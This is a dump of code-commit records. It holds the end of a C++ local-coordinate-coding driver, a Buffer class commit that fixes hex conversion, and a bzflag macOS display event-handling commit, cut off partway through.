--digit2=9, --n_iterations=1, --n_atoms=50,\n\n#include <fastlib\/fastlib.h>\n#include <armadillo>\n\n#include \"lcc.h\"\n\nusing namespace arma;\nusing namespace std;\n\nint main(int argc, char* argv[]) {\n fx_module* root = fx_init(argc, argv, NULL);\n \n double lambda = fx_param_double_req(NULL, \"lambda\");\n \n \/\/ if using fx-run, one could just leave results_dir blank\n const char* results_dir = fx_param_str(NULL, \"results_dir\", \"\");\n \n const char* data_dir = \n fx_param_str_req(NULL, \"data_dir\");\n \n const char* initial_dictionary_fullpath = \n fx_param_str(NULL, \"initial_dictionary\", \"\");\n \n u32 digit_1 = fx_param_int_req(NULL, \"digit1\");\n u32 digit_2 = fx_param_int_req(NULL, \"digit2\");\n \n u32 n_iterations = fx_param_int_req(NULL, \"n_iterations\");\n \n u32 n_atoms = fx_param_int_req(NULL, \"n_atoms\");\n \n \n \n \/\/ Load Data\n char* data_filename = (char*) malloc(320 * sizeof(char));\n sprintf(data_filename,\n\t \"%s\/train%d.arm\",\n\t data_dir,\n\t digit_1);\n mat X_neg;\n X_neg.load(data_filename);\n u32 n_neg_points = X_neg.n_cols;\n \n sprintf(data_filename,\n\t \"%s\/train%d.arm\",\n\t data_dir,\n\t digit_2);\n mat X_pos;\n X_pos.load(data_filename);\n u32 n_pos_points = X_pos.n_cols;\n free(data_filename);\n \n mat X = join_rows(X_neg, X_pos);\n u32 n_points = X.n_cols;\n \/\/ normalize each column of data\n for(u32 i = 0; i < n_points; i++) {\n X.col(i) \/= norm(X.col(i), 2);\n }\n \n \/\/ create a labels vector, NOT so that we can use it for LCC, but so we can save the labels for easy discriminative training upon exit of this program\n vec y = vec(n_points);\n y.subvec(0, n_neg_points - 1).fill(-1);\n y.subvec(n_neg_points, n_points - 1).fill(1);\n \n \n \/\/ run LCC\n LocalCoordinateCoding lcc;\n \n lcc.Init(X, n_atoms, lambda);\n if(strlen(initial_dictionary_fullpath) == 0) {\n lcc.DataDependentRandomInitDictionary();\n }\n else {\n mat initial_D;\n initial_D.load(initial_dictionary_fullpath);\n if(initial_D.n_cols != n_atoms) {\n fprintf(stderr, \"Error: The specified initial dictionary to load has %d atoms, but the learned dictionary was specified to have %d atoms! Exiting..\\n\",\n\t initial_D.n_cols,\n\t n_atoms);\n return EXIT_FAILURE;\n }\n if(initial_D.n_rows != X.n_rows) {\n fprintf(stderr, \"Error: The specified initial dictionary to load has %d dimensions, but the specified data has %d dimensions! Exiting..\\n\",\n\t initial_D.n_rows,\n\t X.n_rows);\n return EXIT_FAILURE;\n }\n lcc.SetDictionary(initial_D);\n }\n \n wall_clock timer;\n timer.tic();\n lcc.DoLCC(n_iterations);\n double n_secs = timer.toc();\n cout << \"took \" << n_secs << \" seconds\" << endl;\n \n mat learned_D;\n lcc.GetDictionary(learned_D);\n \n mat learned_V;\n lcc.GetCoding(learned_V);\n \n if(strlen(results_dir) == 0) {\n learned_D.save(\"D.dat\", raw_ascii);\n learned_V.save(\"V.dat\", raw_ascii);\n y.save(\"y.dat\", raw_ascii);\n }\n else {\n char* data_fullpath = (char*) malloc(320 * sizeof(char));\n\n sprintf(data_fullpath, \"%s\/D.dat\", results_dir);\n learned_D.save(data_fullpath, raw_ascii);\n \n sprintf(data_fullpath, \"%s\/V.dat\", results_dir);\n learned_V.save(data_fullpath, raw_ascii);\n \n sprintf(data_fullpath, \"%s\/y.dat\", results_dir);\n y.save(data_fullpath, raw_ascii);\n \n free(data_fullpath);\n }\n \n fx_done(root);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Buffer.h\"\n#include \"System\/Common.h\"\n#include <stdarg.h>\n#include <stdlib.h>\n\nBuffer::Buffer()\n{\n Init();\n}\n\nBuffer::~Buffer()\n{\n if (buffer != array && !preallocated)\n free(buffer);\n}\n\nvoid Buffer::SetPreallocated(char* buffer_, unsigned size_)\n{\n preallocated = true;\n buffer = buffer_;\n size = size_;\n}\n\nint Buffer::Cmp(const Buffer& a, const Buffer& b)\n{\n int ret;\n unsigned alen, blen;\n\n alen = a.length;\n blen = b.length;\n ret = memcmp(a.buffer, b.buffer, MIN(alen, blen));\n \n if (ret != 0)\n return ret;\n \n if (alen < blen)\n return -1;\n else if (blen < alen)\n return 1;\n else\n return 0;\n}\n\nint Buffer::Cmp(const char* buffer_, unsigned length_)\n{\n int ret;\n unsigned alen, blen;\n\n alen = length;\n blen = length_;\n ret = memcmp(buffer, buffer_, MIN(alen, blen));\n \n if (ret != 0)\n return ret;\n \n if (alen < blen)\n return -1;\n else if (blen < alen)\n return 1;\n else\n return 0;\n}\n\nint Buffer::Cmp(const char* str)\n{\n int ret;\n unsigned alen, blen;\n\n alen = length;\n blen = strlen(str);\n ret = memcmp(buffer, str, MIN(alen, blen));\n \n if (ret != 0)\n return ret;\n \n if (alen < blen)\n return -1;\n else if (blen < alen)\n return 1;\n else\n return 0;\n}\n\nvoid Buffer::Lengthen(unsigned k)\n{\n length += k;\n}\n\nvoid Buffer::Shorten(unsigned k)\n{\n length -= k;\n}\n\nvoid Buffer::Allocate(unsigned size_, bool keepold)\n{\n char* newbuffer;\n \n if (size_ <= size)\n return;\n\n size_ = NextPowerOfTwo(size_);\n\n if (buffer == array || preallocated)\n newbuffer = (char*) malloc(size_);\n else\n newbuffer = (char*) realloc(buffer, size_);\n\n ASSERT(newbuffer != NULL);\n\n if (keepold && length > 0)\n {\n if (buffer == array)\n memcpy(newbuffer, buffer, length);\n }\n \n buffer = newbuffer;\n size = size_;\n preallocated = false;\n}\n\nint Buffer::Readf(const char* format, ...) const\n{\n int read;\n va_list ap;\n \n va_start(ap, format);\n read = VReadf(buffer, length, format, ap);\n va_end(ap);\n \n return read;\n}\n\nunsigned Buffer::Writef(const char* fmt, ...)\n{\n unsigned required;\n va_list ap;\n\n while (true)\n {\n va_start(ap, fmt);\n required = VWritef(buffer, size, fmt, ap);\n va_end(ap);\n \n if (required <= size)\n {\n length = required;\n break;\n }\n \n Allocate(required, false);\n }\n \n return length;\n}\n\nunsigned Buffer::Appendf(const char* fmt, ...)\n{\n unsigned required;\n va_list ap;\n \n while (true)\n {\n va_start(ap, fmt);\n required = VWritef(GetPosition(), GetRemaining(), fmt, ap);\n va_end(ap);\n \n \/\/ snwritef returns number of bytes required\n if (required <= GetRemaining())\n break;\n \n Allocate(length + required, true);\n }\n \n length += required;\n return required;\n}\n\nvoid Buffer::Write(const char* buffer_, unsigned length_)\n{\n if (length_ > size)\n Allocate(length_);\n memmove(buffer, buffer_, length_);\n length = length_;\n}\n\nvoid Buffer::Write(const char* str) \n{\n Write(str, strlen(str));\n}\n\nvoid Buffer::Write(Buffer& other)\n{\n Write(other.GetBuffer(), other.GetLength());\n}\n\nvoid Buffer::Write(ReadBuffer other)\n{\n Write(other.GetBuffer(), other.GetLength());\n}\n\nvoid Buffer::Append(char c)\n{\n Append(&c, 1);\n}\n\nvoid Buffer::Append(const char* buffer_, unsigned length_)\n{\n if (length_ > GetRemaining())\n Allocate(length + length_);\n memcpy(GetPosition(), buffer_, length_);\n Lengthen(length_);\n}\n\nvoid Buffer::Append(const char* str)\n{\n Append(str, strlen(str));\n}\n\nvoid Buffer::Append(Buffer& other)\n{\n Append(other.GetBuffer(), other.GetLength());\n}\n\nvoid Buffer::Append(ReadBuffer other)\n{\n Append(other.GetBuffer(), other.GetLength());\n}\n\nvoid Buffer::AppendLittle16(uint16_t x)\n{\n x = ToLittle16(x);\n Append((const char*) &x, sizeof(uint16_t));\n}\n\nvoid Buffer::AppendLittle32(uint32_t x)\n{\n x = ToLittle32(x);\n Append((const char*) &x, sizeof(uint32_t));\n}\n\nvoid Buffer::AppendLittle64(uint64_t x)\n{\n x = ToLittle64(x);\n Append((const char*) &x, sizeof(uint64_t));\n}\n\nchar Buffer::GetCharAt(unsigned i)\n{\n if (i > length - 1)\n ASSERT_FAIL();\n \n return *(buffer + i);\n}\n\nvoid Buffer::SetCharAt(unsigned i, char c)\n{\n buffer[i] = c;\n}\n\nbool Buffer::IsAsciiPrintable()\n{\n unsigned i;\n \n for (i = 0; i < length; i++)\n {\n if ((unsigned char)buffer[i] < 32 || (unsigned char)buffer[i] > 127)\n return false;\n }\n \n return true;\n}\n\nvoid Buffer::ToHexadecimal()\n{\n unsigned i;\n unsigned x;\n Buffer printable;\n \n printable.Allocate(length * 3);\n for (i = 0; i < length; i++)\n {\n x = (unsigned char) buffer[i];\n printable.Appendf(\"%x \", x);\n }\n \n Write(printable);\n}\n\nvoid Buffer::NullTerminate()\n{\n Append(\"\", 1);\n}\n\nvoid Buffer::Zero()\n{\n memset(buffer, 0, size);\n}\n\nvoid Buffer::ZeroRest()\n{\n memset(buffer + length, 0, size - length);\n}\n\nvoid Buffer::SetLength(unsigned length_)\n{\n length = length_;\n if (length > size)\n ASSERT_FAIL();\n}\n\nvoid Buffer::Init()\n{\n buffer = array;\n size = SIZE(array);\n length = 0;\n preallocated = false;\n prev = next = this;\n}\n\nunsigned Buffer::GetSize()\n{\n return size;\n}\n\nchar* Buffer::GetBuffer()\n{\n return buffer;\n}\n\nunsigned Buffer::GetLength()\n{\n return length;\n}\n\nunsigned Buffer::GetRemaining()\n{\n return size - length;\n}\n\nchar* Buffer::GetPosition()\n{\n return buffer + length;\n}\n\nuint32_t Buffer::GetChecksum()\n{\n return ChecksumBuffer(buffer, length);\n}\n\nvoid Buffer::Clear()\n{\n length = 0;\n}\n\nvoid Buffer::Reset()\n{\n if (buffer != array && !preallocated)\n free(buffer);\n \n Init();\n}\n\nBuffer::Buffer(const Buffer& other)\n{\n\/\/ ASSERT_FAIL();\n Init();\n *this = other; \/\/ call operator=()\n}\n\nBuffer& Buffer::operator=(const Buffer& other)\n{\n\/\/ ASSERT_FAIL();\n if (other.size != size)\n Allocate(other.size, false);\n\n memcpy(buffer, other.buffer, other.size);\n length = other.length;\n prev = next = this;\n\n return *this;\n}\n<commit_msg>Fixed hex conversion in buffer.<commit_after>#include \"Buffer.h\"\n#include \"System\/Common.h\"\n#include <stdarg.h>\n#include <stdlib.h>\n\nBuffer::Buffer()\n{\n Init();\n}\n\nBuffer::~Buffer()\n{\n if (buffer != array && !preallocated)\n free(buffer);\n}\n\nvoid Buffer::SetPreallocated(char* buffer_, unsigned size_)\n{\n preallocated = true;\n buffer = buffer_;\n size = size_;\n}\n\nint Buffer::Cmp(const Buffer& a, const Buffer& b)\n{\n int ret;\n unsigned alen, blen;\n\n alen = a.length;\n blen = b.length;\n ret = memcmp(a.buffer, b.buffer, MIN(alen, blen));\n \n if (ret != 0)\n return ret;\n \n if (alen < blen)\n return -1;\n else if (blen < alen)\n return 1;\n else\n return 0;\n}\n\nint Buffer::Cmp(const char* buffer_, unsigned length_)\n{\n int ret;\n unsigned alen, blen;\n\n alen = length;\n blen = length_;\n ret = memcmp(buffer, buffer_, MIN(alen, blen));\n \n if (ret != 0)\n return ret;\n \n if (alen < blen)\n return -1;\n else if (blen < alen)\n return 1;\n else\n return 0;\n}\n\nint Buffer::Cmp(const char* str)\n{\n int ret;\n unsigned alen, blen;\n\n alen = length;\n blen = strlen(str);\n ret = memcmp(buffer, str, MIN(alen, blen));\n \n if (ret != 0)\n return ret;\n \n if (alen < blen)\n return -1;\n else if (blen < alen)\n return 1;\n else\n return 0;\n}\n\nvoid Buffer::Lengthen(unsigned k)\n{\n length += k;\n}\n\nvoid Buffer::Shorten(unsigned k)\n{\n length -= k;\n}\n\nvoid Buffer::Allocate(unsigned size_, bool keepold)\n{\n char* newbuffer;\n \n if (size_ <= size)\n return;\n\n size_ = NextPowerOfTwo(size_);\n\n if (buffer == array || preallocated)\n newbuffer = (char*) malloc(size_);\n else\n newbuffer = (char*) realloc(buffer, size_);\n\n ASSERT(newbuffer != NULL);\n\n if (keepold && length > 0)\n {\n if (buffer == array)\n memcpy(newbuffer, buffer, length);\n }\n \n buffer = newbuffer;\n size = size_;\n preallocated = false;\n}\n\nint Buffer::Readf(const char* format, ...) const\n{\n int read;\n va_list ap;\n \n va_start(ap, format);\n read = VReadf(buffer, length, format, ap);\n va_end(ap);\n \n return read;\n}\n\nunsigned Buffer::Writef(const char* fmt, ...)\n{\n unsigned required;\n va_list ap;\n\n while (true)\n {\n va_start(ap, fmt);\n required = VWritef(buffer, size, fmt, ap);\n va_end(ap);\n \n if (required <= size)\n {\n length = required;\n break;\n }\n \n Allocate(required, false);\n }\n \n return length;\n}\n\nunsigned Buffer::Appendf(const char* fmt, ...)\n{\n unsigned required;\n va_list ap;\n \n while (true)\n {\n va_start(ap, fmt);\n required = VWritef(GetPosition(), GetRemaining(), fmt, ap);\n va_end(ap);\n \n \/\/ snwritef returns number of bytes required\n if (required <= GetRemaining())\n break;\n \n Allocate(length + required, true);\n }\n \n length += required;\n return required;\n}\n\nvoid Buffer::Write(const char* buffer_, unsigned length_)\n{\n if (length_ > size)\n Allocate(length_);\n memmove(buffer, buffer_, length_);\n length = length_;\n}\n\nvoid Buffer::Write(const char* str) \n{\n Write(str, strlen(str));\n}\n\nvoid Buffer::Write(Buffer& other)\n{\n Write(other.GetBuffer(), other.GetLength());\n}\n\nvoid Buffer::Write(ReadBuffer other)\n{\n Write(other.GetBuffer(), other.GetLength());\n}\n\nvoid Buffer::Append(char c)\n{\n Append(&c, 1);\n}\n\nvoid Buffer::Append(const char* buffer_, unsigned length_)\n{\n if (length_ > GetRemaining())\n Allocate(length + length_);\n memcpy(GetPosition(), buffer_, length_);\n Lengthen(length_);\n}\n\nvoid Buffer::Append(const char* str)\n{\n Append(str, strlen(str));\n}\n\nvoid Buffer::Append(Buffer& other)\n{\n Append(other.GetBuffer(), other.GetLength());\n}\n\nvoid Buffer::Append(ReadBuffer other)\n{\n Append(other.GetBuffer(), other.GetLength());\n}\n\nvoid Buffer::AppendLittle16(uint16_t x)\n{\n x = ToLittle16(x);\n Append((const char*) &x, sizeof(uint16_t));\n}\n\nvoid Buffer::AppendLittle32(uint32_t x)\n{\n x = ToLittle32(x);\n Append((const char*) &x, sizeof(uint32_t));\n}\n\nvoid Buffer::AppendLittle64(uint64_t x)\n{\n x = ToLittle64(x);\n Append((const char*) &x, sizeof(uint64_t));\n}\n\nchar Buffer::GetCharAt(unsigned i)\n{\n if (i > length - 1)\n ASSERT_FAIL();\n \n return *(buffer + i);\n}\n\nvoid Buffer::SetCharAt(unsigned i, char c)\n{\n buffer[i] = c;\n}\n\nbool Buffer::IsAsciiPrintable()\n{\n unsigned i;\n \n for (i = 0; i < length; i++)\n {\n if ((unsigned char)buffer[i] < 32 || (unsigned char)buffer[i] > 127)\n return false;\n }\n \n return true;\n}\n\nvoid Buffer::ToHexadecimal()\n{\n unsigned i;\n unsigned char x;\n Buffer printable;\n const char digits[] = \"0123456789ABCDEF\";\n \n printable.Allocate(length * 3);\n for (i = 0; i < length; i++)\n {\n x = (unsigned char) buffer[i];\n printable.Append(digits[x \/ 16]);\n printable.Append(digits[x % 16]);\n if (i != length - 1)\n printable.Append(' ');\n }\n \n Write(printable);\n}\n\nvoid Buffer::NullTerminate()\n{\n Append(\"\", 1);\n}\n\nvoid Buffer::Zero()\n{\n memset(buffer, 0, size);\n}\n\nvoid Buffer::ZeroRest()\n{\n memset(buffer + length, 0, size - length);\n}\n\nvoid Buffer::SetLength(unsigned length_)\n{\n length = length_;\n if (length > size)\n ASSERT_FAIL();\n}\n\nvoid Buffer::Init()\n{\n buffer = array;\n size = SIZE(array);\n length = 0;\n preallocated = false;\n prev = next = this;\n}\n\nunsigned Buffer::GetSize()\n{\n return size;\n}\n\nchar* Buffer::GetBuffer()\n{\n return buffer;\n}\n\nunsigned Buffer::GetLength()\n{\n return length;\n}\n\nunsigned Buffer::GetRemaining()\n{\n return size - length;\n}\n\nchar* Buffer::GetPosition()\n{\n return buffer + length;\n}\n\nuint32_t Buffer::GetChecksum()\n{\n return ChecksumBuffer(buffer, length);\n}\n\nvoid Buffer::Clear()\n{\n length = 0;\n}\n\nvoid Buffer::Reset()\n{\n if (buffer != array && !preallocated)\n free(buffer);\n \n Init();\n}\n\nBuffer::Buffer(const Buffer& other)\n{\n\/\/ ASSERT_FAIL();\n Init();\n *this = other; \/\/ call operator=()\n}\n\nBuffer& Buffer::operator=(const Buffer& other)\n{\n\/\/ ASSERT_FAIL();\n if (other.size != size)\n Allocate(other.size, false);\n\n memcpy(buffer, other.buffer, other.size);\n length = other.length;\n prev = next = this;\n\n return *this;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2009 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#include \"MacDisplay.h\"\n#include \"BzfEvent.h\"\n\n#include <CoreFoundation\/CoreFoundation.h>\n#include <ApplicationServices\/ApplicationServices.h>\n\nbool MacDisplay::pending;\nCGrafPtr MacDisplay::window;\nCGLContextObj MacDisplay::context;\n\nMacDisplay::MacDisplay() {\n pending = true;\n\n setPassthroughSize(CGDisplayPixelsWide(kCGDirectMainDisplay),\n\t\t CGDisplayPixelsHigh(kCGDirectMainDisplay));\n}\n\nMacDisplay::MacDisplay(const char *, const char *) {\n#pragma unused (name, videoFormat)\n is_valid = true;\n pending = false;\n\n cursor_region = CGPathCreateMutable();\n ResInfo** resInfo = NULL;\n resInfo = new ResInfo*[1];\n resInfo[0] = new ResInfo(\"default\",\n\t\t\t CGDisplayPixelsWide(kCGDirectMainDisplay),\n\t\t\t CGDisplayPixelsHigh(kCGDirectMainDisplay), 0);\n \/\/numModes = 1;\n \/\/currentMode = 0;\n\n \/\/ register modes\n initResolutions(resInfo, 1, 0);\n}\n\nbool MacDisplay::isEventPending() const\n{\n ::OSStatus\tstatus\t\t= ::noErr;\n ::EventRef\teventRef\t= 0;\n\n status = ::ReceiveNextEvent(0, NULL, 0, false, &eventRef);\n return (status == ::noErr) ? true : false;\n}\n\nbool MacDisplay::peekEvent (BzfEvent &) const\n{\n return false;\n}\n\nbool MacDisplay::getEvent (BzfEvent &bzf_event) const {\n ::EventRef\t\teventRef\t= 0;\n ::OSStatus\t\tstatus\t\t= ::noErr;\n ::UInt32\t\teventClass\t= 0;\n ::UInt32\t\teventKind\t= 0;\n ::EventTime\t\teventTime\t= 0;\n ::HIPoint\t\teventLocation\t= {0, 0};\n ::HIPoint\t\teventDelta\t= {0, 0};\n ::UInt32\t\teventModifiers\t= 0;\n ::EventMouseButton\teventButtons\t= 0;\n char\t\t\teventChar\t= 0;\n ::UInt32\t\teventKeyCode\t= 0;\n ::WindowRef\t\teventWindow\t= NULL;\n const ::Boolean\tremoveEventFromQueue = true;\n\n \/* initialize the event for safety *\/\n bzf_event.keyDown.chr = 0;\n\n bzf_event.type = (BzfEvent::Type)-1;\n\n status = ::ReceiveNextEvent(0, NULL, 0, removeEventFromQueue, &eventRef);\n if(status != ::noErr) {\n return false;\n }\n\n eventTime = ::GetEventTime(eventRef);\n eventClass = ::GetEventClass(eventRef);\n eventKind = ::GetEventKind(eventRef);\n\n \/\/ make note of any modifiers being pressed\n bzf_event.keyDown.shift = 0;\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamKeyModifiers,\n\t\t\t ::typeUInt32,\n\t\t\t NULL,\n\t\t\t sizeof(::UInt32),\n\t\t\t NULL,\n\t\t\t &eventModifiers);\n if (eventModifiers & cmdKey) {\n \/\/ command and option both serve as bzflag alt even\n bzf_event.keyDown.shift = BzfKeyEvent::AltKey;\n }\n if (eventModifiers & shiftKey) bzf_event.keyDown.shift = BzfKeyEvent::ShiftKey;\n if (eventModifiers & optionKey) bzf_event.keyDown.shift = BzfKeyEvent::AltKey;\n if (eventModifiers & controlKey) bzf_event.keyDown.shift = BzfKeyEvent::ControlKey;\n\n switch(eventClass) {\n case ::kEventClassMouse:\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamWindowMouseLocation,\n\t\t\t ::typeHIPoint,\n\t\t\t NULL,\n\t\t\t sizeof(::HIPoint),\n\t\t\t NULL,\n\t\t\t &eventLocation);\n\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamMouseButton,\n\t\t\t ::typeMouseButton,\n\t\t\t NULL,\n\t\t\t sizeof(::EventMouseButton),\n\t\t\t NULL,\n\t\t\t &eventButtons);\n\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamMouseDelta,\n\t\t\t ::typeHIPoint,\n\t\t\t NULL,\n\t\t\t sizeof(::HIPoint),\n\t\t\t NULL,\n\t\t\t &eventDelta);\n\n \/\/ handle the main event type\n switch(eventKind) {\n case ::kEventMouseDown:\n case ::kEventMouseUp:\n if(eventKind == ::kEventMouseDown) {\n\tbzf_event.type = BzfEvent::KeyDown;\n } else {\n\tbzf_event.type = BzfEvent::KeyUp;\n }\n if(eventButtons > 9) {\n\t\/\/ bzflag only handles 9 buttons for now\n\teventButtons = 9;\n }\n\n switch(eventButtons) {\n case ::kEventMouseButtonSecondary:\n\tbzf_event.keyDown.button = BzfKeyEvent::RightMouse;\n\tbreak;\n case ::kEventMouseButtonTertiary:\n\tbzf_event.keyDown.button = BzfKeyEvent::MiddleMouse;\n\tbreak;\n default:\n\t\/* consistent wth the rest of the mac experience, a command click is\n\t * the same as a right click.\n\t *\/\n\tif (bzf_event.keyDown.shift == BzfKeyEvent::AltKey) {\n\t bzf_event.keyDown.shift = 0;\n\t bzf_event.keyDown.button = BzfKeyEvent::RightMouse;\n\t} else {\n\t bzf_event.keyDown.button = BzfKeyEvent::LeftMouse + eventButtons - 1;\n\t}\n\tbreak;\n }\n break;\n\n case ::kEventMouseMoved:\n bzf_event.type = BzfEvent::MouseMove;\n bzf_event.mouseMove.x = static_cast<int>(eventDelta.x);\n bzf_event.mouseMove.y = static_cast<int>(eventDelta.y);\n break;\n\n case ::kEventMouseWheelMoved:\n break;\n }\n break;\n\n case ::kEventClassKeyboard:\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamKeyMacCharCodes,\n\t\t\t ::typeChar,\n\t\t\t NULL,\n\t\t\t sizeof(char),\n\t\t\t NULL,\n\t\t\t &eventChar);\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamKeyCode,\n\t\t\t ::typeUInt32,\n\t\t\t NULL,\n\t\t\t sizeof(eventKeyCode),\n\t\t\t NULL,\n\t\t\t &eventKeyCode);\n switch(eventKind) {\n case ::kEventRawKeyDown:\n case ::kEventRawKeyRepeat:\n bzf_event.type = BzfEvent::KeyDown;\n getKey(bzf_event.keyDown, eventChar, eventKeyCode);\n break;\n\n case ::kEventRawKeyUp:\n bzf_event.type = BzfEvent::KeyUp;\n getKey(bzf_event.keyUp, eventChar, eventKeyCode);\n break;\n }\n break;\n\n case ::kEventClassApplication:\n switch(eventKind) {\n case ::kEventAppQuit:\n bzf_event.type = BzfEvent::Quit;\n break;\n }\n break;\n\n case ::kEventClassWindow:\n status = GetEventParameter(eventRef,\n\t\t\t ::kEventParamDirectObject,\n\t\t\t ::typeWindowRef,\n\t\t\t NULL,\n\t\t\t sizeof(::WindowRef),\n\t\t\t NULL,\n\t\t\t &eventWindow);\n switch(eventKind) {\n case ::kEventWindowUpdate:\n case ::kEventWindowDrawContent:\n bzf_event.type = BzfEvent::Redraw;\n BeginUpdate(eventWindow);\n EndUpdate(eventWindow);\n break;\n }\n break;\n\n case ::kEventClassCommand:\n switch(eventKind) {\n }\n break;\n }\n ReleaseEvent(eventRef);\n return true;\n}\n\nvoid MacDisplay::getKey (BzfKeyEvent &bzf_key, char char_code, ::UInt32 keycode) const {\n enum {\n kF1KeyCode\t = 0x7A,\t\/\/ Undo\n kF2KeyCode\t = 0x78,\t\/\/ Cut\n kF3KeyCode\t = 0x63,\t\/\/ Copy\n kF4KeyCode\t = 0x76,\t\/\/ Paste\n kF5KeyCode\t = 0x60,\n kF6KeyCode\t = 0x61,\n kF7KeyCode\t = 0x62,\n kF8KeyCode\t = 0x64,\n kF9KeyCode\t = 0x65,\n kF10KeyCode\t = 0x6D,\n kF11KeyCode\t = 0x67,\n kF12KeyCode\t = 0x6F,\n kF13KeyCode\t = 0x69,\t\/\/ Print Screen\n kF14KeyCode\t = 0x6B,\t\/\/ Scroll Lock\n kF15KeyCode\t = 0x71\t\/\/ Pause\n };\n bzf_key.chr = 0;\n bzf_key.button = BzfKeyEvent::NoButton;\n switch (char_code) {\n case kUpArrowCharCode : bzf_key.button = BzfKeyEvent::Up; break;\n case kDownArrowCharCode : bzf_key.button = BzfKeyEvent::Down; break;\n case kLeftArrowCharCode : bzf_key.button = BzfKeyEvent::Left; break;\n case kRightArrowCharCode: bzf_key.button = BzfKeyEvent::Right; break;\n case kHomeCharCode : bzf_key.button = BzfKeyEvent::Home; break;\n case kEndCharCode : bzf_key.button = BzfKeyEvent::End; break;\n case kPageUpCharCode : bzf_key.button = BzfKeyEvent::PageUp; break;\n case kPageDownCharCode : bzf_key.button = BzfKeyEvent::PageDown; break;\n case kHelpCharCode : bzf_key.button = BzfKeyEvent::Insert; break;\n case kDeleteCharCode : bzf_key.button = BzfKeyEvent::Delete; break;\n case kFunctionKeyCharCode:\n switch(keycode) {\n \/\/ These are the f-key codes on my apple extended keyboard\n case kF15KeyCode:\tbzf_key.button = BzfKeyEvent::Pause; break;\n case kF12KeyCode:\tbzf_key.button = BzfKeyEvent::F12;\tbreak;\n case kF11KeyCode:\tbzf_key.button = BzfKeyEvent::F11;\tbreak;\n case kF10KeyCode:\tbzf_key.button = BzfKeyEvent::F10;\tbreak;\n case kF9KeyCode:\tbzf_key.button = BzfKeyEvent::F9;\tbreak;\n case kF8KeyCode:\tbzf_key.button = BzfKeyEvent::F8;\tbreak;\n case kF7KeyCode:\tbzf_key.button = BzfKeyEvent::F7;\tbreak;\n case kF6KeyCode:\tbzf_key.button = BzfKeyEvent::F6;\tbreak;\n case kF5KeyCode:\tbzf_key.button = BzfKeyEvent::F5;\tbreak;\n case kF4KeyCode:\tbzf_key.button = BzfKeyEvent::F4;\tbreak;\n case kF3KeyCode:\tbzf_key.button = BzfKeyEvent::F3;\tbreak;\n case kF2KeyCode:\tbzf_key.button = BzfKeyEvent::F2;\tbreak;\n case kF1KeyCode:\tbzf_key.button = BzfKeyEvent::F1;\tbreak;\n default:\tfprintf(stderr, \"Uknown function key code: 0x%lX\\n\", (long unsigned int) keycode);\tbreak;\n }\n break;\n \/\/ standard key; a-z, 0-9 etc\n default:\tbzf_key.chr = char_code;\t\tbreak;\n }\n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>spelling<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2009 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#include \"MacDisplay.h\"\n#include \"BzfEvent.h\"\n\n#include <CoreFoundation\/CoreFoundation.h>\n#include <ApplicationServices\/ApplicationServices.h>\n\nbool MacDisplay::pending;\nCGrafPtr MacDisplay::window;\nCGLContextObj MacDisplay::context;\n\nMacDisplay::MacDisplay() {\n pending = true;\n\n setPassthroughSize(CGDisplayPixelsWide(kCGDirectMainDisplay),\n\t\t CGDisplayPixelsHigh(kCGDirectMainDisplay));\n}\n\nMacDisplay::MacDisplay(const char *, const char *) {\n#pragma unused (name, videoFormat)\n is_valid = true;\n pending = false;\n\n cursor_region = CGPathCreateMutable();\n ResInfo** resInfo = NULL;\n resInfo = new ResInfo*[1];\n resInfo[0] = new ResInfo(\"default\",\n\t\t\t CGDisplayPixelsWide(kCGDirectMainDisplay),\n\t\t\t CGDisplayPixelsHigh(kCGDirectMainDisplay), 0);\n \/\/numModes = 1;\n \/\/currentMode = 0;\n\n \/\/ register modes\n initResolutions(resInfo, 1, 0);\n}\n\nbool MacDisplay::isEventPending() const\n{\n ::OSStatus\tstatus\t\t= ::noErr;\n ::EventRef\teventRef\t= 0;\n\n status = ::ReceiveNextEvent(0, NULL, 0, false, &eventRef);\n return (status == ::noErr) ? true : false;\n}\n\nbool MacDisplay::peekEvent (BzfEvent &) const\n{\n return false;\n}\n\nbool MacDisplay::getEvent (BzfEvent &bzf_event) const {\n ::EventRef\t\teventRef\t= 0;\n ::OSStatus\t\tstatus\t\t= ::noErr;\n ::UInt32\t\teventClass\t= 0;\n ::UInt32\t\teventKind\t= 0;\n ::EventTime\t\teventTime\t= 0;\n ::HIPoint\t\teventLocation\t= {0, 0};\n ::HIPoint\t\teventDelta\t= {0, 0};\n ::UInt32\t\teventModifiers\t= 0;\n ::EventMouseButton\teventButtons\t= 0;\n char\t\t\teventChar\t= 0;\n ::UInt32\t\teventKeyCode\t= 0;\n ::WindowRef\t\teventWindow\t= NULL;\n const ::Boolean\tremoveEventFromQueue = true;\n\n \/* initialize the event for safety *\/\n bzf_event.keyDown.chr = 0;\n\n bzf_event.type = (BzfEvent::Type)-1;\n\n status = ::ReceiveNextEvent(0, NULL, 0, removeEventFromQueue, &eventRef);\n if(status != ::noErr) {\n return false;\n }\n\n eventTime = ::GetEventTime(eventRef);\n 